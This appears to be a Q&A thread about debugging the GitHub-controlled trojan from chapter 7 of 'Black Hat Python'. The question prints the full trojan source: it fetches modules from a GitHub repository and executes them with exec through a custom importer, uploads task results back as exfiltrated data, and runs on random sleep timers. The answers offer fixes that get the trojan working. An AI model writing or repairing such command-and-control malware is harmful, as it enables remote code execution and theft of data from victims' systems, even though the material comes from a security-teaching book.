I get the error "github3.exceptions.NotFoundError: 404 Not Found" on chapter 7 of the book black hat python while making a trojan

644 views Asked by At

At first I thought it was an error connecting with GitHub but this seems to not be the script since the first part of the script fires up normally

Full output for context

┌──(kali㉿kali)-[~/bhptrojan]
└─$ python3 git_trojan.py                                                                                                                                                                                                              130 ⨯
[*] Attempting to retrieve dirlister
[*] Attempting to retrieve environment
Traceback (most recent call last):
  File "<frozen importlib._bootstrap>", line 919, in _find_spec
AttributeError: 'GitImporter' object has no attribute 'find_spec'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/bhptrojan/git_trojan.py", line 93, in <module>
    trojan.run()
  File "/home/kali/bhptrojan/git_trojan.py", line 59, in run
    config = self.get_config()
  File "/home/kali/bhptrojan/git_trojan.py", line 41, in get_config
    exec("import %s" % task['module'])
  File "<string>", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
  File "<frozen importlib._bootstrap>", line 982, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 921, in _find_spec
  File "<frozen importlib._bootstrap>", line 895, in _find_spec_legacy
  File "/home/kali/bhptrojan/git_trojan.py", line 74, in find_module
    new_library = get_file_contents('modules', f'{name}.py', self.repo)
  File "/home/kali/bhptrojan/git_trojan.py", line 23, in get_file_contents
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "/home/kali/.local/lib/python3.9/site-packages/github3/repos/repo.py", line 1672, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "/home/kali/.local/lib/python3.9/site-packages/github3/models.py", line 155, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found

I also get a few other errors as seen above but I think they are all coming from the one I mentioned but I am not sure.

Full code here.

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time

from datetime import datetime

def github_connect():
    with open ('mytoken.txt') as f:
        token = f.read()
    user = 'Sebthelad'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')          


def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content


class Trojan:
    def __init__(self,id):
        self.id = id
        self.config_file = f'{id}.json'

        self.data_path = f'data/{id}/'

        self.repo = github_connect()
    
    def get_config(self):
        config_json = get_file_contents('config', self.config_file, self.repo)
        config = json.loads(base64.b64decode(config_json))

        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        
        return config

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)
    
    def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remote_path,message,base64.b64decode(bindata))

    def run(self):
        while True:


            config = self.get_config()
            for task in config:
                thread = threading.Thread(target=self.module_runner,args=(task['module'],))
                thread.start()
                time.sleep(random.randint(1,10))
        time.sleep(random.randint(30*60, 3*60*60)) 

class GitImporter:
    def __init__(self):
        self.current_module_code = ""

    def find_module(self, name, path=None):
        print("[*] Attempting to retrieve %s" % name)
        self.repo = github_connect()

        new_library = get_file_contents('modules', f'{name}.py', self.repo)

        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self    
    
    def load_module(self,name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)

        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)

        sys.modules[spec.name] = new_module
        return new_module


if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan('abc')
    trojan.run()

Thanks in advance.

P.S: If you find any other issues in my code please let me know.

2

There are 2 answers

0
kirillBHP On
if __name__ == '__main__':
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()

the trojan looks for a .json config file with its own name. in the config folder should be TROJANID.json or abc.json with modules for execution. Check if config name and Trojan('abc') match. In my book last chapter has typo TROJANID.json, but code has Trojan('abc') instead of Trojan('TROJANID'). This config file is missing argument

0
EvtDanya On

Firstly check the name of your branch(it must be named 'master', if you created repo from github, the 'main' branch is created by default (you can leave only 'master' branch). Then in the function github_connect change the value of string user to your name in github. This steps helped me.